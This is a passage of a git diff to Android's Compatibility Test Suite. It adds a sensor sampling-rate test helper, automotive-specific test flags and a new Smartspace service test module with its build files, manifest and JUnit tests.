+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import android.hardware.Sensor;
+import android.hardware.SensorPrivacyManager;
+import android.os.Handler;
+
+import com.android.compatibility.common.util.ShellUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Assert;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+/**
+ * A helper class to test sensor APIs related to sampling rates of SensorEventConnections.
+ */
+public class SensorRatePermissionEventConnectionTestHelper {
+    public static final int CAPPED_SAMPLE_RATE_HZ = 220; // Capped rate 200 Hz + 10% headroom
+    // Set of sensors that are throttled
+    public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
+            Sensor.TYPE_ACCELEROMETER,
+            Sensor.TYPE_ACCELEROMETER_UNCALIBRATED,
+            Sensor.TYPE_GYROSCOPE,
+            Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+            Sensor.TYPE_MAGNETIC_FIELD,
+            Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED
+    );
+
+    private final TestSensorEnvironment mTestSensorEnvironment;
+    private final TestSensorManager mTestSensorManager;
+
+    public SensorRatePermissionEventConnectionTestHelper(TestSensorEnvironment environment) {
+        mTestSensorEnvironment = environment;
+        mTestSensorManager = new TestSensorManager(mTestSensorEnvironment);
+    }
+
+    public static double computeAvgRate(List<TestSensorEvent> events,
+            long startTimestamp, long endTimestamp) {
+
+        List<TestSensorEvent> filteredEvents = events.stream()
+                .filter(event -> event.timestamp > startTimestamp && event.timestamp < endTimestamp)
+                .collect(Collectors.toList());
+
+        double rate = Double.MIN_VALUE;
+        int numOfEvents = filteredEvents.size();
+        if (numOfEvents >= 2) {
+            long lastTimestamp = filteredEvents.get(numOfEvents - 1).timestamp;
+            long firstTimestamp = filteredEvents.get(0).timestamp;
+            rate = SensorCtsHelper.getFrequency(
+                    (lastTimestamp - firstTimestamp) / (numOfEvents - 1),
+                    TimeUnit.NANOSECONDS);
+        }
+        return rate;
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate exceeds
+     * the allowed capped rate.
+     */
+    public String errorWhenExceedCappedRate() {
+        Sensor sensor = mTestSensorEnvironment.getSensor();
+        return String.format(
+                "%s: Sampling rate is expected to be less than or equal to %d (Hz)",
+                sensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate is below
+     * its expected rate.
+     */
+    public String errorWhenBelowExpectedRate() {
+        Sensor sensor = mTestSensorEnvironment.getSensor();
+        return String.format(
+                "%s: Sampling rate is expected to larger than to %d (Hz)",
+                sensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed off.
+     */
+    public void flipAndAssertMicToggleOff(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy disable " + userID + " microphone");
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Assert.assertTrue("Failed to switch the mic toggle off!",
+                    !spm.isSensorPrivacyEnabled(SensorPrivacyManager.Sensors.MICROPHONE));
+        });
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed on.
+     */
+    public void flipAndAssertMicToggleOn(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy enable " + userID + " microphone");
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Assert.assertTrue("Failed to switch the mic toggle on!",
+                    spm.isSensorPrivacyEnabled(SensorPrivacyManager.Sensors.MICROPHONE));
+        });
+    }
+
+    /**
+     * Register a listener and waits until there are numOfEvents events
+     *
+     * @param specifyHandler true if a {@link Handler} is associated with the instance.
+     */
+    public List<TestSensorEvent> getSensorEvents(boolean specifyHandler, int numOfEvents)
+            throws InterruptedException {
+        TestSensorEventListener listener = new TestSensorEventListener(mTestSensorEnvironment);
+        CountDownLatch eventLatch = mTestSensorManager.registerListener(
+                listener,
+                numOfEvents,
+                specifyHandler);
+        listener.waitForEvents(eventLatch, numOfEvents, false);
+        List<TestSensorEvent> testSensorEventList = listener.getCollectedEvents();
+        listener.clearEvents();
+        mTestSensorManager.unregisterListener();
+        return testSensorEventList;
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
index 261d327..c20a0d0 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
@@ -44,6 +44,7 @@
     private final int mMaxReportLatencyUs;
     private final boolean mIsDeviceSuspendTest;
     private final boolean mIsIntegrationTest;
+    private final boolean mIsAutomotiveSpecificTest;
 
     /**
      * Constructs an environment for sensor testing.
@@ -112,6 +113,34 @@
      * @param sensorType The type of the sensor under test
      * @param sensorMightHaveMoreListeners Whether the sensor under test is acting under load
      * @param samplingPeriodUs The requested collection period for the sensor under test
+     * @param isAutomotiveSpecificTest Whether this is an automotive specific test
+     *
+     * @deprecated Use variants with {@link Sensor} objects.
+     */
+    @Deprecated
+    public TestSensorEnvironment(
+            Context context,
+            int sensorType,
+            boolean sensorMightHaveMoreListeners,
+            int samplingPeriodUs,
+            boolean isAutomotiveSpecificTest) {
+        this(context,
+                getSensor(context, sensorType),
+                sensorMightHaveMoreListeners,
+                samplingPeriodUs,
+                0 /* maxReportLatencyUs */,
+                false,
+                false,
+                isAutomotiveSpecificTest);
+    }
+
+    /**
+     * Constructs an environment for sensor testing.
+     *
+     * @param context The context for the test
+     * @param sensorType The type of the sensor under test
+     * @param sensorMightHaveMoreListeners Whether the sensor under test is acting under load
+     * @param samplingPeriodUs The requested collection period for the sensor under test
      * @param maxReportLatencyUs The requested collection report latency for the sensor under test
      *
      * @deprecated Use variants with {@link Sensor} objects.
@@ -216,7 +245,8 @@
                 samplingPeriodUs,
                 maxReportLatencyUs,
                 false /* isDeviceSuspendTest */,
-                isIntegrationTest);
+                isIntegrationTest,
+                false /* isAutomotiveSpecificTest */);
     }
 
     public TestSensorEnvironment(
@@ -229,7 +259,8 @@
         this(context, sensor, sensorMightHaveMoreListeners,
                 samplingPeriodUs, maxReportLatencyUs,
                 isDeviceSuspendTest,
-                false /* isIntegrationTest */);
+                false /* isIntegrationTest */,
+                false /* isAutomotiveSpecificTest */);
     }
 
     public TestSensorEnvironment(
@@ -239,7 +270,8 @@
             int samplingPeriodUs,
             int maxReportLatencyUs,
             boolean isDeviceSuspendTest,
-            boolean isIntegrationTest) {
+            boolean isIntegrationTest,
+            boolean isAutomotiveSpecificTest) {
         mContext = context;
         mSensor = sensor;
         mSensorMightHaveMoreListeners = sensorMightHaveMoreListeners;
@@ -247,6 +279,7 @@
         mMaxReportLatencyUs = maxReportLatencyUs;
         mIsDeviceSuspendTest = isDeviceSuspendTest;
         mIsIntegrationTest = isIntegrationTest;
+        mIsAutomotiveSpecificTest = isAutomotiveSpecificTest;
     }
 
     /**
@@ -459,5 +492,9 @@
     public boolean isIntegrationTest() {
         return mIsIntegrationTest;
     }
+
+    public boolean isAutomotiveSpecificTest() {
+        return mIsAutomotiveSpecificTest;
+    }
 }
 
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
index 7c9be9f..74f28ba 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
@@ -91,7 +91,7 @@
         long wakeupTimeMs = (System.currentTimeMillis()
                 + TimeUnit.MILLISECONDS.convert(mSleepDuration, mTimeUnit));
         Intent intent = new Intent(ACTION);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         am.setExact(AlarmManager.RTC_WAKEUP, wakeupTimeMs, pendingIntent);
 
         // Execute operation
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 7a48ba8..c66eb30 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -70,10 +70,16 @@
         Map<Integer, ExpectedValuesAndThresholds> currentDefaults =
                 new HashMap<Integer, ExpectedValuesAndThresholds>(DEFAULTS);
 
-        // For automotive flag, add car default tests.
-        if(environment.getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUTOMOTIVE)) {
-            addCarDefaultTests(currentDefaults);
+        // Handle automotive specific tests.
+        if(environment.isAutomotiveSpecificTest()) {
+            // If device is an automotive device, add car defaults.
+            if (environment.getContext().getPackageManager().hasSystemFeature(
+                    PackageManager.FEATURE_AUTOMOTIVE)) {
+                addCarDefaultTests(currentDefaults);
+            } else {
+                // Skip as this is an automotive test and device is non-automotive.
+                return null;
+            }
         }
 
         int sensorType = environment.getSensor().getType();
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index b8d94c4..cdb11db 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -13,13 +13,7 @@
 // limitations under the License.
 
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 genrule_defaults {
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0184940..5a89025 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -21,7 +21,7 @@
 define build_xml_api_file
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-NCSA
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
 LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
diff --git a/tests/signature/intent-check/TEST_MAPPING b/tests/signature/intent-check/TEST_MAPPING
new file mode 100644
index 0000000..e731491
--- /dev/null
+++ b/tests/signature/intent-check/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsIntentSignatureTestCases"
+    }
+  ]
+}
diff --git a/tests/smartspace/Android.bp b/tests/smartspace/Android.bp
new file mode 100644
index 0000000..a72c6cd
--- /dev/null
+++ b/tests/smartspace/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSmartspaceServiceTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/smartspace/AndroidManifest.xml b/tests/smartspace/AndroidManifest.xml
new file mode 100644
index 0000000..4a0658d
--- /dev/null
+++ b/tests/smartspace/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.smartspace.cts"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.MANAGE_SMARTSPACE"/>
+
+    <application>
+        <service android:name=".CtsSmartspaceService"
+                 android:exported="true"
+                 android:label="CtsDummySmartspaceService">
+            <intent-filter>
+                <!-- This constant must match SmartspaceService.SERVICE_INTERFACE -->
+                <action android:name="android.service.smartspace.SmartspaceService"/>
+            </intent-filter>
+        </service>
+
+        <!-- TODO(b/111701043): Update with required permissions -->
+        <uses-library android:name="android.test.runner"/>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for the App Prediction Framework APIs."
+                     android:targetPackage="android.smartspace.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/smartspace/AndroidTest.xml b/tests/smartspace/AndroidTest.xml
new file mode 100644
index 0000000..ad3aeeb
--- /dev/null
+++ b/tests/smartspace/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Smartspace CTS tests.">
+    <option name="test-suite-tag" value="cts"/>
+    <option name="config-descriptor:metadata" key="component" value="framework"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi"/>
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true"/>
+        <option name="test-file-name" value="CtsSmartspaceServiceTestCases.apk"/>
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.smartspace.cts"/>
+        <!-- 20x default timeout of 600sec -->
+        <option name="shell-timeout" value="12000000"/>
+    </test>
+
+</configuration>
diff --git a/tests/smartspace/OWNERS b/tests/smartspace/OWNERS
new file mode 100644
index 0000000..4a61d75
--- /dev/null
+++ b/tests/smartspace/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 487497
+srazdan@google.com
+alexmang@google.com
diff --git a/tests/smartspace/TEST_MAPPING b/tests/smartspace/TEST_MAPPING
new file mode 100644
index 0000000..58b65d1
--- /dev/null
+++ b/tests/smartspace/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSmartspaceServiceTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/smartspace/src/android/smartspace/cts/CtsSmartspaceService.java b/tests/smartspace/src/android/smartspace/cts/CtsSmartspaceService.java
new file mode 100644
index 0000000..a285511
--- /dev/null
+++ b/tests/smartspace/src/android/smartspace/cts/CtsSmartspaceService.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.smartspace.cts;
+
+import android.app.smartspace.SmartspaceConfig;
+import android.app.smartspace.SmartspaceSessionId;
+import android.app.smartspace.SmartspaceTarget;
+import android.app.smartspace.SmartspaceTargetEvent;
+import android.os.Process;
+import android.service.smartspace.SmartspaceService;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import org.mockito.Mockito;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+public class CtsSmartspaceService extends SmartspaceService {
+
+    private static final boolean DEBUG = true;
+    public static final String EXTRA_REPORTER = "extra_reporter";
+    public static final String MY_PACKAGE = "android.smartspace.cts";
+    public static final String SERVICE_NAME = MY_PACKAGE + "/."
+            + CtsSmartspaceService.class.getSimpleName();
+    private static final String TAG = CtsSmartspaceService.class.getSimpleName();
+
+    private static Watcher sWatcher;
+
+    private final ArrayMap<SmartspaceSessionId, List<SmartspaceTarget>> targets = new ArrayMap<>();
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+//        Log.d(TAG, "onCreate mSessionCallbacks: " + mSessionCallbacks);
+        if (DEBUG) Log.d(TAG, "onCreate");
+    }
+
+    @Override
+    public void onCreateSmartspaceSession(SmartspaceConfig config, SmartspaceSessionId sessionId) {
+//        Log.d(TAG, "onCreateSmartspaceSession mSessionCallbacks: " + mSessionCallbacks);
+        if (DEBUG) Log.d(TAG, "onCreateSmartspaceSession");
+
+        if (sWatcher.verifier != null) {
+            Log.e(TAG, "onCreateSmartspaceSession, trying to set verifier when it already exists");
+        }
+        targets.put(sessionId, new ArrayList<>());
+        sWatcher.verifier = Mockito.mock(CtsSmartspaceService.class);
+        sWatcher.created.countDown();
+    }
+
+    @Override
+    public void notifySmartspaceEvent(SmartspaceSessionId sessionId, SmartspaceTargetEvent event) {
+//        Log.d(TAG, "notifySmartspaceEvent mSessionCallbacks: " + mSessionCallbacks);
+        if (DEBUG){
+            Log.d(TAG, "notifySmartspaceEvent sessionId=" + sessionId + ", event=" + event.toString());
+        }
+        if(event.getSmartspaceTarget() != null) {
+            targets.get(sessionId).add(event.getSmartspaceTarget());
+        }
+        sWatcher.verifier.notifySmartspaceEvent(sessionId, event);
+    }
+
+    @Override
+    public void onRequestSmartspaceUpdate(SmartspaceSessionId sessionId) {
+//        Log.d(TAG, "onRequestSmartspaceUpdate mSessionCallbacks: " + mSessionCallbacks);
+        if (DEBUG){
+            Log.d(TAG, "onRequestSmartspaceUpdate sessionId=" + sessionId);
+        }
+        List<SmartspaceTarget> returnList = targets.get(sessionId);
+        if(returnList == null) {
+            returnList = new ArrayList<>();
+        }
+        updateSmartspaceTargets(sessionId, returnList);
+        sWatcher.verifier.onRequestSmartspaceUpdate(sessionId);
+    }
+
+    @Override
+    public void onDestroySmartspaceSession(SmartspaceSessionId sessionId) {
+//        Log.d(TAG, "onDestroySmartspaceSession mSessionCallbacks: " + mSessionCallbacks);
+        if (DEBUG) Log.d(TAG, "onDestroySmartspaceSession");
+        targets.remove(sessionId);
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public void onDestroy(SmartspaceSessionId sessionId) {
+//        Log.d(TAG, "onDestroy mSessionCallbacks: " + mSessionCallbacks);
+        if (DEBUG) Log.d(TAG, "onDestroy");
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+
+    public static Watcher setWatcher() {
+        if (DEBUG) {
+            Log.d(TAG, "");
+            Log.d(TAG, "----------------------------------------------");
+            Log.d(TAG, " setWatcher");
+        }
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        if (DEBUG) Log.d(TAG, "clearWatcher");
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        public CountDownLatch created = new CountDownLatch(1);
+        public CountDownLatch destroyed = new CountDownLatch(1);
+        public CountDownLatch queried = new CountDownLatch(1);
+        public CountDownLatch queriedTwice = new CountDownLatch(2);
+
+        /**
+         * Can be used to verify that API specific service methods are called. Not a real mock as
+         * the system isn't talking to this directly, it has calls proxied to it.
+         */
+        public CtsSmartspaceService verifier;
+
+        public List<SmartspaceTarget> mSmartspaceTargets;
+
+        public void setTargets(List<SmartspaceTarget> targets) {
+            mSmartspaceTargets = targets;
+        }
+    }
+}
diff --git a/tests/smartspace/src/android/smartspace/cts/SmartspaceManagerTest.java b/tests/smartspace/src/android/smartspace/cts/SmartspaceManagerTest.java
new file mode 100644
index 0000000..936a835
--- /dev/null
+++ b/tests/smartspace/src/android/smartspace/cts/SmartspaceManagerTest.java
@@ -0,0 +1,276 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.smartspace.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.smartspace.SmartspaceConfig;
+import android.app.smartspace.SmartspaceManager;
+import android.app.smartspace.SmartspaceSession;
+import android.app.smartspace.SmartspaceTarget;
+import android.app.smartspace.SmartspaceTargetEvent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Tests for {@link SmartspaceManager}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SmartspaceManagerTest {
+
+    private static final String TAG = "SmartspaceManagerTest";
+    private static final boolean DEBUG = false;
+
+    private static final long VERIFY_TIMEOUT_MS = 5_000;
+    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 20_000;
+    private static final String TEST_UI_SURFACE = "homescreen";
+    private static final String SMARTSPACE_ACTION_ID = "dummy_action_id";
+    private static final int TEST_NUM_PREDICTIONS = 10;
+    private static final String TEST_LAUNCH_LOCATION = "testCollapsedLocation";
+    private static final int TEST_ACTION = 2;
+
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.SMARTSPACE_SERVICE);
+
+    private SmartspaceManager mManager;
+    private SmartspaceSession mClient;
+    private CtsSmartspaceService.Watcher mWatcher;
+
+    @Before
+    public void setUp() throws Exception {
+        mWatcher = CtsSmartspaceService.setWatcher();
+        mManager = getContext().getSystemService(SmartspaceManager.class);
+        setService(CtsSmartspaceService.SERVICE_NAME);
+        SmartspaceConfig config = createSmartspaceConfig(TEST_UI_SURFACE);
+        mClient = createSmartspaceSession(config);
+        await(mWatcher.created, "Waiting for onCreate()");
+        reset(mWatcher.verifier);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
+        mClient.destroy();
+        setService(null);
+        await(mWatcher.destroyed, "Waiting for onDestroy()");
+
+        mWatcher = null;
+        CtsSmartspaceService.clearWatcher();
+    }
+
+    @Test
+    public void testCreateSmartspaceSession() {
+        assertNotNull(mClient);
+        assertNotNull(mWatcher.verifier);
+    }
+
+    @Test
+    public void testDestroySession() {
+        SmartspaceSession localClient = createSmartspaceSession(createSmartspaceConfig("surface"));
+        localClient.destroy();
+        await(mWatcher.destroyed, "Waiting for onDestroy()");
+    }
+
+    @Test
+    public void testRequestSmartspaceUpdate() {
+        // Send a request for a smartspace update
+        SmartspaceTarget testTarget = SmartspaceTestUtils.getBasicSmartspaceTarget("id",
+                SmartspaceTestUtils.getTestComponentName(), Process.myUserHandle());
+        SmartspaceTargetEvent testEvent = new SmartspaceTargetEvent.Builder(
+                SmartspaceTargetEvent.EVENT_TARGET_INTERACTION).setSmartspaceTarget(
+                testTarget).setSmartspaceActionId("id").build();
+        mClient.notifySmartspaceEvent(testEvent);
+        mClient.registerSmartspaceUpdates(Executors.newSingleThreadExecutor(),
+                targets -> {
+                    if (targets.size() > 0 && targets.get(0).equals(testTarget)) {
+                        mWatcher.queried.countDown();
+                    }
+                });
+        mClient.requestSmartspaceUpdate();
+        // Verify that the API received it
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS).times(2))
+                .onRequestSmartspaceUpdate(any());
+        await(mWatcher.queried, "Waiting for updateSmartspaceTargets()");
+    }
+
+    @Test
+    public void testRequestSmartspaceUpdateForMultipleSessions() {
+        SmartspaceTarget testTarget = SmartspaceTestUtils.getBasicSmartspaceTarget("id",
+                SmartspaceTestUtils.getTestComponentName(), Process.myUserHandle());
+        SmartspaceTargetEvent testEvent = new SmartspaceTargetEvent.Builder(
+                SmartspaceTargetEvent.EVENT_TARGET_INTERACTION).setSmartspaceTarget(
+                testTarget).setSmartspaceActionId("id").build();
+
+        SmartspaceConfig config1 = createSmartspaceConfig("surface 1");
+        SmartspaceSession client1 = createSmartspaceSession(config1);
+        SmartspaceConfig config2 = createSmartspaceConfig("surface 2");
+        SmartspaceSession client2 = createSmartspaceSession(config2);
+        client1.registerSmartspaceUpdates(Executors.newSingleThreadExecutor(),
+                targets -> {
+                    // Counting down only if the returned list only contains test target.
+                    if (targets.size() > 0 && targets.get(0).equals(testTarget)) {
+                        mWatcher.queriedTwice.countDown();
+                    }
+                });
+        client2.registerSmartspaceUpdates(Executors.newSingleThreadExecutor(),
+                targets -> {
+                    // Counting down only if the returned list is empty.
+                    if (targets.isEmpty()) {
+                        mWatcher.queriedTwice.countDown();
+                    }
+                });
+        // Notifying the event only for client1.
+        client1.notifySmartspaceEvent(testEvent);
+        // Requesting update for both the clients
+        client1.requestSmartspaceUpdate();
+        client2.requestSmartspaceUpdate();
+        // Verify that the API received it 4 times, twice for each client, once while registering
+        // and once while requesting.
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS).times(4))
+                .onRequestSmartspaceUpdate(any());
+        await(mWatcher.queriedTwice, "Waiting for updateSmartspaceTargets() to be called twice");
+    }
+
+    @Test
+    public void testNotifySmartspaceEvent() {
+        ComponentName componentName = new ComponentName("package_name", "class_name");
+        SmartspaceTarget target = new SmartspaceTarget.Builder("id",
+                componentName, Process.myUserHandle()).build();
+
+        SmartspaceTargetEvent smartspaceTargetEvent = new SmartspaceTargetEvent.Builder(
+                SmartspaceTargetEvent.EVENT_TARGET_BLOCK).setSmartspaceActionId(
+                SMARTSPACE_ACTION_ID).setSmartspaceTarget(target).build();
+
+        ArgumentCaptor<SmartspaceTargetEvent> arg = ArgumentCaptor.forClass(
+                SmartspaceTargetEvent.class);
+        // Send a request to notifySmartspaceUpdate
+        mClient.notifySmartspaceEvent(smartspaceTargetEvent);
+        // Verify that the API received it.
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .notifySmartspaceEvent(any(), arg.capture());
+        assertEquals(arg.getValue().getSmartspaceActionId(), SMARTSPACE_ACTION_ID);
+        assertEquals(arg.getValue().getEventType(), SmartspaceTargetEvent.EVENT_TARGET_BLOCK);
+        assertEquals(arg.getValue().getSmartspaceTarget().getComponentName(), componentName);
+        assertEquals(arg.getValue().getSmartspaceTarget().getUserHandle(), Process.myUserHandle());
+        assertEquals(arg.getValue().getSmartspaceTarget().getSmartspaceTargetId(), "id");
+
+    }
+
+    private void setService(String service) {
+        Log.d(TAG, "Setting smartspace service to " + service);
+        int userId = Process.myUserHandle().getIdentifier();
+        if (service != null) {
+            runShellCommand("cmd smartspace set temporary-service "
+                    + userId + " " + service + " 60000");
+        } else {
+            runShellCommand("cmd smartspace set temporary-service " + userId);
+        }
+    }
+
+    private SmartspaceSession createSmartspaceSession(SmartspaceConfig config) {
+        return mManager.createSmartspaceSession(config);
+    }
+
+    private SmartspaceConfig createSmartspaceConfig(String uiSurface) {
+        return new SmartspaceConfig.Builder(
+                InstrumentationRegistry.getTargetContext(),
+                uiSurface).setSmartspaceTargetCount(TEST_NUM_PREDICTIONS).build();
+    }
+
